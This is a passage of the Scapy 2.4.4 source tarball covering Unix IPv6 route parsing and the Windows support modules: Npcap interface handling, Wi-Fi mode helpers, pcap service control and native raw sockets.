truncated by # netstat -nr. We attempt to guess it's name and if not we # ignore it. guessed_netif = _guess_iface_name(netif) if guessed_netif is not None: ifaddr = get_if_addr(guessed_netif) routes.append((dest, netmask, gw, guessed_netif, ifaddr, metric)) # noqa: E501 else: warning("Could not guess partial interface name: %s", netif) # noqa: E501 else: raise else: pending_if.append((dest, netmask, gw)) f.close() # On Solaris, netstat does not provide output interfaces for some routes # We need to parse completely the routing table to route their gw and # know their output interface for dest, netmask, gw in pending_if: gw_l = scapy.utils.atol(gw) max_rtmask, gw_if, gw_if_addr, = 0, None, None for rtdst, rtmask, _, rtif, rtaddr in routes[:]: if gw_l & rtmask == rtdst: if rtmask >= max_rtmask: max_rtmask = rtmask gw_if = rtif gw_if_addr = rtaddr # XXX: TODO add metrics metric = 1 if gw_if: routes.append((dest, netmask, gw, gw_if, gw_if_addr, metric)) else: warning("Did not find output interface to reach gateway %s", gw) return routes ############ # IPv6 # ############ def _in6_getifaddr(ifname): """ Returns a list of IPv6 addresses configured on the interface ifname. """ # Get the output of ifconfig try: f = os.popen("%s %s" % (conf.prog.ifconfig, ifname)) except OSError: log_interactive.warning("Failed to execute ifconfig.") return [] # Iterate over lines and extract IPv6 addresses ret = [] for line in f: if "inet6" in line: addr = line.rstrip().split(None, 2)[1] # The second element is the IPv6 address # noqa: E501 else: continue if '%' in line: # Remove the interface identifier if present addr = addr.split("%", 1)[0] # Check if it is a valid IPv6 address try: inet_pton(socket.AF_INET6, addr) except (socket.error, ValueError): continue # Get the scope and keep the address scope = in6_getscope(addr) ret.append((addr, scope, ifname)) f.close() return ret def in6_getifaddr(): """ Returns a list of 3-tuples of the form (addr, scope, iface) where 'addr' is the address of scope 'scope' associated to the interface 'iface'. This is the list of all addresses of all interfaces available on the system. """ # List all network interfaces if OPENBSD or SOLARIS: if SOLARIS: cmd = "%s -a6" else: cmd = "%s" try: f = os.popen(cmd % conf.prog.ifconfig) except OSError: log_interactive.warning("Failed to execute ifconfig.") return [] # Get the list of network interfaces splitted_line = [] for line in f: if "flags" in line: iface = line.split()[0].rstrip(':') splitted_line.append(iface) else: # FreeBSD, NetBSD or Darwin try: f = os.popen("%s -l" % conf.prog.ifconfig) except OSError: log_interactive.warning("Failed to execute ifconfig.") return [] # Get the list of network interfaces splitted_line = f.readline().rstrip().split() ret = [] for i in splitted_line: ret += _in6_getifaddr(i) f.close() return ret def read_routes6(): """Return a list of IPv6 routes than can be used by Scapy. This function parses netstat. """ # Call netstat to retrieve IPv6 routes fd_netstat = os.popen("netstat -rn -f inet6") # List interfaces IPv6 addresses lifaddr = in6_getifaddr() if not lifaddr: fd_netstat.close() return [] # Routes header information got_header = False mtu_present = False prio_present = False # Parse the routes routes = [] for line in fd_netstat.readlines(): # Parse the routes header and try to identify extra columns if not got_header: if "Destination" == line[:11]: got_header = True mtu_present = "Mtu" in line prio_present = "Prio" in line continue # Parse a route entry according to the operating system splitted_line = line.split() if OPENBSD or NETBSD: index = 5 + mtu_present + prio_present if len(splitted_line) < index: warning("Not enough columns in route entry !") continue destination, next_hop, flags = splitted_line[:3] dev = splitted_line[index] else: # FREEBSD or DARWIN if len(splitted_line) < 4: warning("Not enough columns in route entry !") continue destination, next_hop, flags, dev = splitted_line[:4] # XXX: TODO: add metrics for unix.py (use -e option on netstat) metric = 1 # Check flags if "U" not in flags: # usable route continue if "R" in flags: # Host or net unreachable continue if "m" in flags: # multicast address # Note: multicast routing is handled in Route6.route() continue # Replace link with the default route in next_hop if "link" in next_hop: next_hop = "::" # Default prefix length destination_plen = 128 # Extract network interface from the zone id if '%' in destination: destination, dev = destination.split('%') if '/' in dev: # Example: fe80::%lo0/64 ; dev = "lo0/64" dev, destination_plen = dev.split('/') if '%' in next_hop: next_hop, dev = next_hop.split('%') # Ensure that the next hop is a valid IPv6 address if not in6_isvalid(next_hop): # Note: the 'Gateway' column might contain a MAC address next_hop = "::" # Modify parsed routing entries # Note: these rules are OS specific and may evolve over time if destination == "default": destination, destination_plen = "::", 0 elif '/' in destination: # Example: fe80::/10 destination, destination_plen = destination.split('/') if '/' in dev: # Example: ff02::%lo0/32 ; dev = "lo0/32" dev, destination_plen = dev.split('/') # Check route entries parameters consistency if not in6_isvalid(destination): warning("Invalid destination IPv6 address in route entry !") continue try: destination_plen = int(destination_plen) except Exception: warning("Invalid IPv6 prefix length in route entry !") continue if in6_ismlladdr(destination) or in6_ismnladdr(destination): # Note: multicast routing is handled in Route6.route() continue if conf.loopback_name in dev: # Handle ::1 separately cset = ["::1"] next_hop = "::" else: # Get possible IPv6 source addresses devaddrs = (x for x in lifaddr if x[2] == dev) cset = construct_source_candidate_set(destination, destination_plen, devaddrs) # noqa: E501 if len(cset): routes.append((destination, destination_plen, next_hop, dev, cset, metric)) # noqa: E501 fd_netstat.close() return routes scapy-2.4.4/scapy/arch/windows/000077500000000000000000000000001372370053500163735ustar00rootroot00000000000000scapy-2.4.4/scapy/arch/windows/__init__.py000077500000000000000000001104341372370053500205120ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license """ Customizations needed to support Microsoft Windows. """ from __future__ import absolute_import from __future__ import print_function import os import platform as platform_lib import socket import subprocess as sp from glob import glob import struct from scapy.arch.windows.structures import _windows_title, \ GetAdaptersAddresses, GetIpForwardTable, GetIpForwardTable2, \ get_service_status from scapy.consts import WINDOWS, WINDOWS_XP from scapy.config import conf, ConfClass from scapy.error import Scapy_Exception, log_loading, log_runtime, warning from scapy.pton_ntop import inet_ntop, inet_pton from scapy.utils import atol, itom, pretty_list, mac2str, str2mac from scapy.utils6 import construct_source_candidate_set, in6_getscope from scapy.data import ARPHDR_ETHER, load_manuf import scapy.modules.six as six from scapy.modules.six.moves import input, winreg, UserDict from scapy.compat import plain_str from scapy.supersocket import SuperSocket conf.use_pcap = True # These import must appear after setting conf.use_* variables from scapy.arch import pcapdnet # noqa: E402 from scapy.arch.pcapdnet import NPCAP_PATH, get_if_list # noqa: E402 # Detection happens after pcapdnet import (NPcap detection) NPCAP_LOOPBACK_NAME = r"\Device\NPF_Loopback" if conf.use_npcap: conf.loopback_name = NPCAP_LOOPBACK_NAME else: try: if float(platform_lib.release()) >= 8.1: conf.loopback_name = "Microsoft KM-TEST Loopback Adapter" else: conf.loopback_name = "Microsoft Loopback Adapter" except ValueError: conf.loopback_name = "Microsoft Loopback Adapter" # hot-patching socket for missing variables on Windows if not hasattr(socket, 'IPPROTO_IPIP'): socket.IPPROTO_IPIP = 4 if not hasattr(socket, 'IP_RECVTTL'): socket.IP_RECVTTL = 12 if not hasattr(socket, 'IPV6_HDRINCL'): socket.IPV6_HDRINCL = 36 # https://bugs.python.org/issue29515 if not hasattr(socket, 'IPPROTO_IPV6'): socket.SOL_IPV6 = 41 if not hasattr(socket, 'SOL_IPV6'): socket.SOL_IPV6 = socket.IPPROTO_IPV6 if not hasattr(socket, 'IPPROTO_GRE'): socket.IPPROTO_GRE = 47 if not hasattr(socket, 'IPPROTO_AH'): socket.IPPROTO_AH = 51 if not hasattr(socket, 'IPPROTO_ESP'): socket.IPPROTO_ESP = 50 _WlanHelper = NPCAP_PATH + "\\WlanHelper.exe" def _encapsulate_admin(cmd): """Encapsulate a command with an Administrator flag""" # To get admin access, we start a new powershell instance with admin # rights, which will execute the command. This needs to be done from a # powershell as we run it from a cmd. # ! Behold ! return ("powershell /command \"Start-Process cmd " "-windowstyle hidden -Wait -PassThru -Verb RunAs " "-ArgumentList '/c %s'\"" % cmd) def _get_npcap_config(param_key): """ Get a Npcap parameter matching key in the registry. List: AdminOnly, DefaultFilterSettings, DltNull, Dot11Adapters, Dot11Support LoopbackAdapter, LoopbackSupport, NdisImPlatformBindingOptions, VlanSupport WinPcapCompatible """ hkey = winreg.HKEY_LOCAL_MACHINE node = r"SYSTEM\CurrentControlSet\Services\npcap\Parameters" try: key = winreg.OpenKey(hkey, node) dot11_adapters, _ = winreg.QueryValueEx(key, param_key) winreg.CloseKey(key) except WindowsError: return None return dot11_adapters def _where(filename, dirs=None, env="PATH"): """Find file in current dir, in deep_lookup cache or in system path""" if dirs is None: dirs = [] if not isinstance(dirs, list): dirs = [dirs] if glob(filename): return filename paths = [os.curdir] + os.environ[env].split(os.path.pathsep) + dirs try: return next(os.path.normpath(match) for path in paths for match in glob(os.path.join(path, filename)) if match) except (StopIteration, RuntimeError): raise IOError("File not found: %s" % filename) def win_find_exe(filename, installsubdir=None, env="ProgramFiles"): """Find executable in current dir, system path or in the given ProgramFiles subdir, and retuen its absolute path. """ fns = [filename] if filename.endswith(".exe") else [filename + ".exe", filename] # noqa: E501 for fn in fns: try: if installsubdir is None: path = _where(fn) else: path = _where(fn, dirs=[os.path.join(os.environ[env], installsubdir)]) # noqa: E501 except IOError: path = None else: break return path class WinProgPath(ConfClass): _default = "" def __init__(self): self._reload() def _reload(self): self.pdfreader = None self.psreader = None self.svgreader = None # We try some magic to find the appropriate executables self.dot = win_find_exe("dot") self.tcpdump = win_find_exe("windump") self.tshark = win_find_exe("tshark") self.tcpreplay = win_find_exe("tcpreplay") self.display = self._default self.hexedit = win_find_exe("hexer") self.sox = win_find_exe("sox") self.wireshark = win_find_exe("wireshark", "wireshark") self.usbpcapcmd = win_find_exe( "USBPcapCMD", installsubdir="USBPcap", env="programfiles" ) self.powershell = win_find_exe( "powershell", installsubdir="System32\\WindowsPowerShell\\v1.0", env="SystemRoot" ) self.cscript = win_find_exe("cscript", installsubdir="System32", env="SystemRoot") self.cmd = win_find_exe("cmd", installsubdir="System32", env="SystemRoot") if self.wireshark: try: new_manuf = load_manuf( os.path.sep.join( self.wireshark.split(os.path.sep)[:-1] ) + os.path.sep + "manuf" ) except (IOError, OSError): # FileNotFoundError not available on Py2 - using OSError # noqa: E501 log_loading.warning("Wireshark is installed, but cannot read manuf !") # noqa: E501 new_manuf = None if new_manuf: # Inject new ManufDB conf.manufdb.__dict__.clear() conf.manufdb.__dict__.update(new_manuf.__dict__) def _exec_cmd(command): """Call a CMD command and return the output and returncode""" proc = sp.Popen(command, stdout=sp.PIPE, shell=True) res = proc.communicate()[0] return res, proc.returncode conf.prog = WinProgPath() if conf.prog.tcpdump and conf.use_npcap: def test_windump_npcap(): """Return whether windump version is correct or not""" try: p_test_windump = sp.Popen([conf.prog.tcpdump, "-help"], stdout=sp.PIPE, stderr=sp.STDOUT) # noqa: E501 stdout, err = p_test_windump.communicate() _windows_title() _output = stdout.lower() return b"npcap" in _output and b"winpcap" not in _output except Exception: return False windump_ok = test_windump_npcap() if not windump_ok: warning("The installed Windump version does not work with Npcap ! Refer to 'Winpcap/Npcap conflicts' in scapy's doc") # noqa: E501 del windump_ok def get_windows_if_list(extended=False): """Returns windows interfaces through GetAdaptersAddresses. params: - extended: include anycast and multicast IPv6 (default False)""" # Should work on Windows XP+ def _get_mac(x): size = x["physical_address_length"] if size != 6: return "" data = bytearray(x["physical_address"]) return str2mac(bytes(data)[:size]) def _get_ips(x): unicast = x['first_unicast_address'] anycast = x['first_anycast_address'] multicast = x['first_multicast_address'] def _resolve_ips(y): if not isinstance(y, list): return [] ips = [] for ip in y: addr = ip['address']['address'].contents if addr.si_family == socket.AF_INET6: ip_key = "Ipv6" si_key = "sin6_addr" else: ip_key = "Ipv4" si_key = "sin_addr" data = getattr(addr, ip_key) data = getattr(data, si_key) data = bytes(bytearray(data.byte)) # Build IP if data: ips.append(inet_ntop(addr.si_family, data)) return ips ips = [] ips.extend(_resolve_ips(unicast)) if extended: ips.extend(_resolve_ips(anycast)) ips.extend(_resolve_ips(multicast)) return ips if six.PY2: _str_decode = lambda x: x.encode('utf8', errors='ignore') else: _str_decode = plain_str return [ { "name": _str_decode(x["friendly_name"]), "win_index": x["interface_index"], "description": _str_decode(x["description"]), "guid": _str_decode(x["adapter_name"]), "mac": _get_mac(x), "ipv4_metric": 0 if WINDOWS_XP else x["ipv4_metric"], "ipv6_metric": 0 if WINDOWS_XP else x["ipv6_metric"], "ips": _get_ips(x) } for x in GetAdaptersAddresses() ] def get_ips(v6=False): """Returns all available IPs matching to interfaces, using the windows system. Should only be used as a WinPcapy fallback.""" res = {} for iface in six.itervalues(IFACES): ips = [] for ip in iface.ips: if v6 and ":" in ip: ips.append(ip) elif not v6 and ":" not in ip: ips.append(ip) res[iface] = ips return res def get_ip_from_name(ifname, v6=False): """Backward compatibility: indirectly calls get_ips Deprecated.""" iface = IFACES.dev_from_name(ifname) return get_ips(v6=v6).get(iface, [""])[0] def _pcapname_to_guid(pcap_name): """Converts a Winpcap/Npcap pcpaname to its guid counterpart. e.g. \\DEVICE\\NPF_{...} => {...} """ if "{" in pcap_name: return "{" + pcap_name.split("{")[1] return pcap_name class NetworkInterface(object): """A network interface of your local host""" def __init__(self, data=None): self.name = None self.ip = None self.ip6 = None self.mac = None self.pcap_name = None self.description = None self.invalid = False self.raw80211 = None self.cache_mode = None self.ipv4_metric = None self.ipv6_metric = None self.ips = None self.flags = None if data is not None: self.update(data) def update(self, data): """Update info about a network interface according to a given dictionary. Such data is provided by get_windows_if_list """ self.data = data self.name = data['name'] self.pcap_name = data['pcap_name'] self.description = data['description'] self.win_index = data['win_index'] self.guid = data['guid'] self.mac = data['mac'] self.ipv4_metric = data['ipv4_metric'] self.ipv6_metric = data['ipv6_metric'] self.ips = data['ips'] self.flags = data['flags'] self.invalid = data['invalid'] try: # Npcap loopback interface if conf.use_npcap and self.pcap_name == NPCAP_LOOPBACK_NAME: # https://nmap.org/npcap/guide/npcap-devguide.html self.mac = "00:00:00:00:00:00" self.ip = "127.0.0.1" self.ip6 = "::1" return except KeyError: pass # Chose main IPv4 if self.ips: try: self.ip = next(x for x in self.ips if ":" not in x) except StopIteration: pass try: self.ip6 = next(x for x in self.ips if ":" in x) except StopIteration: pass if not self.ip and not self.ip6: self.invalid = True def __hash__(self): return hash(self.guid) def __eq__(self, other): if isinstance(other, str): return self.name == other or self.pcap_name == other if isinstance(other, NetworkInterface): return self.data == other.data return object.__eq__(self, other) def is_invalid(self): return self.invalid def _check_npcap_requirement(self): if not conf.use_npcap: raise OSError("This operation requires Npcap.") if self.raw80211 is None: val = _get_npcap_config("Dot11Support") self.raw80211 = bool(int(val)) if val else False if not self.raw80211: raise Scapy_Exception("This interface does not support raw 802.11") def _npcap_set(self, key, val): """Internal function. Set a [key] parameter to [value]""" res, code = _exec_cmd(_encapsulate_admin( " ".join([_WlanHelper, self.guid[1:-1], key, val]) )) _windows_title() # Reset title of the window if code != 0: raise OSError(res.decode("utf8", errors="ignore")) return True def _npcap_get(self, key): res, code = _exec_cmd(" ".join([_WlanHelper, self.guid[1:-1], key])) _windows_title() # Reset title of the window if code != 0: raise OSError(res.decode("utf8", errors="ignore")) return plain_str(res.strip()) def mode(self): """Get the interface operation mode. Only available with Npcap.""" self._check_npcap_requirement() return self._npcap_get("mode") def ismonitor(self): """Returns True if the interface is in monitor mode. Only available with Npcap.""" if self.cache_mode is not None: return self.cache_mode try: res = (self.mode() == "monitor") self.cache_mode = res return res except Scapy_Exception: return False def setmonitor(self, enable=True): """Alias for setmode('monitor') or setmode('managed') Only available with Npcap""" # We must reset the monitor cache if enable: res = self.setmode('monitor') else: res = self.setmode('managed') if not res: log_runtime.error("Npcap WlanHelper returned with an error code !") self.cache_mode = None tmp = self.cache_mode = self.ismonitor() return tmp if enable else (not tmp) def availablemodes(self): """Get all available interface modes. Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return self._npcap_get("modes").split(",") def setmode(self, mode): """Set the interface mode. It can be: - 0 or managed: Managed Mode (aka "Extensible Station Mode") - 1 or monitor: Monitor Mode (aka "Network Monitor Mode") - 2 or master: Master Mode (aka "Extensible Access Point") (supported from Windows 7 and later) - 3 or wfd_device: The Wi-Fi Direct Device operation mode (supported from Windows 8 and later) - 4 or wfd_owner: The Wi-Fi Direct Group Owner operation mode (supported from Windows 8 and later) - 5 or wfd_client: The Wi-Fi Direct Client operation mode (supported from Windows 8 and later) Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() _modes = { 0: "managed", 1: "monitor", 2: "master", 3: "wfd_device", 4: "wfd_owner", 5: "wfd_client" } m = _modes.get(mode, "unknown") if isinstance(mode, int) else mode return self._npcap_set("mode", m) def channel(self): """Get the channel of the interface. Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return int(self._npcap_get("channel")) def setchannel(self, channel): """Set the channel of the interface (1-14): Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return self._npcap_set("channel", str(channel)) def frequence(self): """Get the frequence of the interface. Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return int(self._npcap_get("freq")) def setfrequence(self, freq): """Set the channel of the interface (1-14): Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return self._npcap_set("freq", str(freq)) def availablemodulations(self): """Get all available 802.11 interface modulations. Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return self._npcap_get("modus").split(",") def modulation(self): """Get the 802.11 modulation of the interface. Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return self._npcap_get("modu") def setmodulation(self, modu): """Set the interface modulation. It can be: - 0: dsss - 1: fhss - 2: irbaseband - 3: ofdm - 4: hrdss - 5: erp - 6: ht - 7: vht - 8: ihv - 9: mimo-ofdm - 10: mimo-ofdm - the value directly Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() _modus = { 0: "dsss", 1: "fhss", 2: "irbaseband", 3: "ofdm", 4: "hrdss", 5: "erp", 6: "ht", 7: "vht", 8: "ihv", 9: "mimo-ofdm", 10: "mimo-ofdm", } m = _modus.get(modu, "unknown") if isinstance(modu, int) else modu return self._npcap_set("modu", str(m)) def __repr__(self): return "<%s [%s] %s>" % (self.__class__.__name__, self.description, self.guid) def get_if_raw_addr(iff): """Return the raw IPv4 address of interface""" if not iff.ip: return None return inet_pton(socket.AF_INET, iff.ip) def pcap_service_name(): """Return the pcap adapter service's name""" return "npcap" if conf.use_npcap else "npf" def pcap_service_status(): """Returns whether the windows pcap adapter is running or not""" status = get_service_status(pcap_service_name()) return status["dwCurrentState"] == 4 def _pcap_service_control(action, askadmin=True): """Internal util to run pcap control command""" command = action + ' ' + pcap_service_name() res, code = _exec_cmd(_encapsulate_admin(command) if askadmin else command) if code != 0: warning(res.decode("utf8", errors="ignore")) return (code == 0) def pcap_service_start(askadmin=True): """Starts the pcap adapter. Will ask for admin. Returns True if success""" return _pcap_service_control('sc start', askadmin=askadmin) def pcap_service_stop(askadmin=True): """Stops the pcap adapter. Will ask for admin. Returns True if success""" return _pcap_service_control('sc stop', askadmin=askadmin) class NetworkInterfaceDict(UserDict): """Store information about network interfaces and convert between names""" @classmethod def _pcap_check(cls): """Performs checks/restart pcap adapter""" if not conf.use_pcap: # Winpcap/Npcap isn't installed return _detect = pcap_service_status() def _ask_user(): if not conf.interactive: return False msg = "Do you want to start it ? (yes/no) [y]: " try: # Better IPython compatibility import IPython return IPython.utils.io.ask_yes_no(msg, default='y') except (NameError, ImportError): while True: _confir = input(msg) _confir = _confir.lower().strip() if _confir in ["yes", "y", ""]: return True elif _confir in ["no", "n"]: return False if _detect: # No action needed return else: warning( "Scapy has detected that your pcap service is not running !" ) if not conf.interactive or _ask_user(): succeed = pcap_service_start(askadmin=conf.interactive) if succeed: log_loading.info("Pcap service started !") return warning("Could not start the pcap service ! " "You probably won't be able to send packets. " "Deactivating unneeded interfaces and restarting " "Scapy might help. Check your winpcap/npcap installation " "and access rights.") def load(self): if not get_if_list(): # Try a restart NetworkInterfaceDict._pcap_check() windows_interfaces = dict() for i in get_windows_if_list(): # Detect Loopback interface if "Loopback" in i['name']: i['name'] = conf.loopback_name if i['guid']: if conf.use_npcap and i['name'] == conf.loopback_name: i['guid'] = NPCAP_LOOPBACK_NAME windows_interfaces[i['guid']] = i index = 0 for pcap_name, if_data in six.iteritems(conf.cache_iflist): name, ips, flags = if_data guid = _pcapname_to_guid(pcap_name) data = windows_interfaces.get(guid, None) if data: # Exists in Windows registry data['pcap_name'] = pcap_name data['ips'].extend(ips) data['flags'] = flags data['invalid'] = False else: # Only in [Wi]npcap index -= 1 data = { 'name': name, 'pcap_name': pcap_name, 'description': name, 'win_index': index, 'guid': guid, 'invalid': False, 'mac': '00:00:00:00:00:00', 'ipv4_metric': 0, 'ipv6_metric': 0, 'ips': ips, 'flags': flags } # No KeyError will happen here, as we get it from cache self.data[guid] = NetworkInterface(data) def dev_from_name(self, name): """Return the first pcap device name for a given Windows device name. """ try: return next(iface for iface in six.itervalues(self) if (iface.name == name or iface.description == name)) except (StopIteration, RuntimeError): raise ValueError("Unknown network interface %r" % name) def dev_from_pcapname(self, pcap_name): """Return Windows device name for given pcap device name.""" try: return next(iface for iface in six.itervalues(self) if iface.pcap_name == pcap_name) except (StopIteration, RuntimeError): raise ValueError("Unknown pypcap network interface %r" % pcap_name) def dev_from_index(self, if_index): """Return interface name from interface index""" try: if_index = int(if_index) # Backward compatibility return next(iface for iface in six.itervalues(self) if iface.win_index == if_index) except (StopIteration, RuntimeError): if str(if_index) == "1": return IFACES.dev_from_pcapname(conf.loopback_name) raise ValueError("Unknown network interface index %r" % if_index) def reload(self): """Reload interface list""" self.restarted_adapter = False self.data.clear() if conf.use_pcap: # Reload from Winpcapy from scapy.arch.pcapdnet import load_winpcapy load_winpcapy() self.load() # Reload conf.iface conf.iface = get_working_if() def show(self, resolve_mac=True, print_result=True): """Print list of available network interfaces in human readable form""" res = [] for iface_name in sorted(self.data): dev = self.data[iface_name] mac = dev.mac if resolve_mac and conf.manufdb: mac = conf.manufdb._resolve_MAC(mac) validity_color = lambda x: conf.color_theme.red if x else \ conf.color_theme.green description = validity_color(dev.is_invalid())( str(dev.description) ) index = str(dev.win_index) res.append((index, description, str(dev.ip), str(dev.ip6), mac)) res = pretty_list( res, [("INDEX", "IFACE", "IPv4", "IPv6", "MAC")], sortBy=2 ) if print_result: print(res) else: return res def __repr__(self): return self.show(print_result=False) IFACES = ifaces = NetworkInterfaceDict() IFACES.load() def pcapname(dev): """Get the device pcap name by device name or Scapy NetworkInterface """ if isinstance(dev, NetworkInterface): if dev.is_invalid(): return None return dev.pcap_name try: return IFACES.dev_from_name(dev).pcap_name except ValueError: return IFACES.dev_from_pcapname(dev).pcap_name def dev_from_pcapname(pcap_name): """Return Scapy device name for given pcap device name""" return IFACES.dev_from_pcapname(pcap_name) def dev_from_index(if_index): """Return Windows adapter name for given Windows interface index""" return IFACES.dev_from_index(if_index) def show_interfaces(resolve_mac=True): """Print list of available network interfaces""" return IFACES.show(resolve_mac) if conf.use_pcap: _orig_open_pcap = pcapdnet.open_pcap def open_pcap(iface, *args, **kargs): """open_pcap: Windows routine for creating a pcap from an interface. This function is also responsible for detecting monitor mode. """ iface_pcap_name = pcapname(iface) if not isinstance(iface, NetworkInterface) and \ iface_pcap_name is not None: iface = IFACES.dev_from_name(iface) if iface is None or iface.is_invalid(): raise Scapy_Exception( "Interface is invalid (no pcap match found) !" ) # Only check monitor mode when manually specified. # Checking/setting for monitor mode will slow down the process, and the # common is case is not to use monitor mode kw_monitor = kargs.get("monitor", None) if conf.use_npcap and kw_monitor is not None: monitored = iface.ismonitor() if kw_monitor is not monitored: # The monitor param is specified, and not matching the current # interface state iface.setmonitor(kw_monitor) return _orig_open_pcap(iface_pcap_name, *args, **kargs) pcapdnet.open_pcap = open_pcap get_if_raw_hwaddr = pcapdnet.get_if_raw_hwaddr = lambda iface, *args, **kargs: ( # noqa: E501 ARPHDR_ETHER, mac2str(IFACES.dev_from_pcapname(pcapname(iface)).mac) ) def _read_routes_c_v1(): """Retrieve Windows routes through a GetIpForwardTable call. This is compatible with XP but won't get IPv6 routes.""" def _extract_ip(obj): return inet_ntop(socket.AF_INET, struct.pack(" # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license """ Native Microsoft Windows sockets (L3 only) ## Notice: ICMP packets DISCLAIMER: Please use Npcap/Winpcap to send/receive ICMP. It is going to work. Below is some additional information, mainly implemented in a testing purpose. When in native mode, everything goes through the Windows kernel. This firstly requires that the Firewall is open. Be sure it allows ICMPv4/6 packets in and out. Windows may drop packets that it finds wrong. for instance, answers to ICMP packets with id=0 or seq=0 may be dropped. It means that sent packets should (most of the time) be perfectly built. A perfectly built ICMP req packet on Windows means that its id is 1, its checksum (IP and ICMP) are correctly built, but also that its seq number is in the "allowed range". In fact, every time an ICMP packet is sent on Windows, a global sequence number is increased, which is only reset at boot time. The seq number of the received ICMP packet must be in the range [current, current + 3] to be valid, and received by the socket. The current number is quite hard to get, thus we provide in this module the get_actual_icmp_seq() function. Example: >>> conf.use_pcap = False >>> a = conf.L3socket() # This will (most likely) work: >>> current = get_current_icmp_seq() >>> a.sr(IP(dst="www.google.com", ttl=128)/ICMP(id=1, seq=current)) # This won't: >>> a.sr(IP(dst="www.google.com", ttl=128)/ICMP()) PS: on computers where the firewall isn't open, Windows temporarily opens it when using the `ping` util from cmd.exe. One can first call a ping on cmd, then do custom calls through the socket using get_current_icmp_seq(). See the tests (windows.uts) for an example. """ import io import os import socket import subprocess import time from scapy.automaton import SelectableObject from scapy.arch.common import _select_nonblock from scapy.arch.windows.structures import GetIcmpStatistics from scapy.compat import raw from scapy.config import conf from scapy.data import MTU from scapy.error import Scapy_Exception, warning from scapy.supersocket import SuperSocket # Watch out for import loops (inet...) class L3WinSocket(SuperSocket, SelectableObject): desc = "a native Layer 3 (IPv4) raw socket under Windows" nonblocking_socket = True __slots__ = ["promisc", "cls", "ipv6", "proto"] def __init__(self, iface=None, proto=socket.IPPROTO_IP, ttl=128, ipv6=False, promisc=True, **kwargs): from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6 for kwarg in kwargs: warning("Dropping unsupported option: %s" % kwarg) af = socket.AF_INET6 if ipv6 else socket.AF_INET self.proto = proto if ipv6: from scapy.arch import get_if_addr6 self.host_ip6 = get_if_addr6(conf.iface) or "::1" if proto == socket.IPPROTO_IP: # We'll restrict ourselves to UDP, as TCP isn't bindable # on AF_INET6 self.proto = socket.IPPROTO_UDP # On Windows, with promisc=False, you won't get much self.ipv6 = ipv6 self.cls = IPv6 if ipv6 else IP self.promisc = promisc # Notes: # - IPPROTO_RAW only works to send packets. # - IPPROTO_IPV6 exists in MSDN docs, but using it will result in # no packets being received. Same for its options (IPV6_HDRINCL...) # However, using IPPROTO_IP with AF_INET6 will still receive # the IPv6 packets try: self.ins = socket.socket(af, socket.SOCK_RAW, self.proto) self.outs = socket.socket(af, socket.SOCK_RAW, socket.IPPROTO_RAW) except OSError as e: if e.errno == 10013: raise OSError("Windows native L3 Raw sockets are only " "usable as administrator ! " "Install Winpcap/Npcap to workaround !") raise self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30) # IOCTL Include IP headers self.ins.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) self.outs.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # set TTL self.ins.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, ttl) self.outs.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, ttl) # Bind on all ports iface = iface or conf.iface host = iface.ip if iface.ip else socket.gethostname() self.ins.bind((host, 0)) self.ins.setblocking(False) # Get as much data as possible: reduce what is cropped if ipv6: try: # Not all Windows versions self.ins.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_RECVTCLASS, 1) self.ins.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_HOPLIMIT, 1) except (OSError, socket.error): pass else: try: # Not Windows XP self.ins.setsockopt(socket.IPPROTO_IP, socket.IP_RECVDSTADDR, 1) except (OSError, socket.error): pass try: # Windows 10+ recent builds only self.ins.setsockopt(socket.IPPROTO_IP, socket.IP_RECVTTL, 1) except (OSError, socket.error): pass if promisc: # IOCTL Receive all packets self.ins.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) def send(self, x): data = raw(x) if self.cls not in x: raise Scapy_Exception("L3WinSocket can only send IP/IPv6 packets !" " Install Npcap/Winpcap to send more") dst_ip = str(x[self.cls].dst) self.outs.sendto(data, (dst_ip, 0)) def nonblock_recv(self, x=MTU): try: return self.recv() except IOError: return None # https://docs.microsoft.com/en-us/windows/desktop/winsock/tcp-ip-raw-sockets-2 # noqa: E501 # - For IPv4 (address family of AF_INET), an application receives the IP # header at the front of each received datagram regardless of the # IP_HDRINCL socket option. # - For IPv6 (address family of AF_INET6), an application receives # everything after the last IPv6 header in each received datagram # regardless of the IPV6_HDRINCL socket option. The application does # not receive any IPv6 headers using a raw socket. def recv_raw(self, x=MTU): try: data, address = self.ins.recvfrom(x) except io.BlockingIOError: return None, None, None from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6 if self.ipv6: # AF_INET6 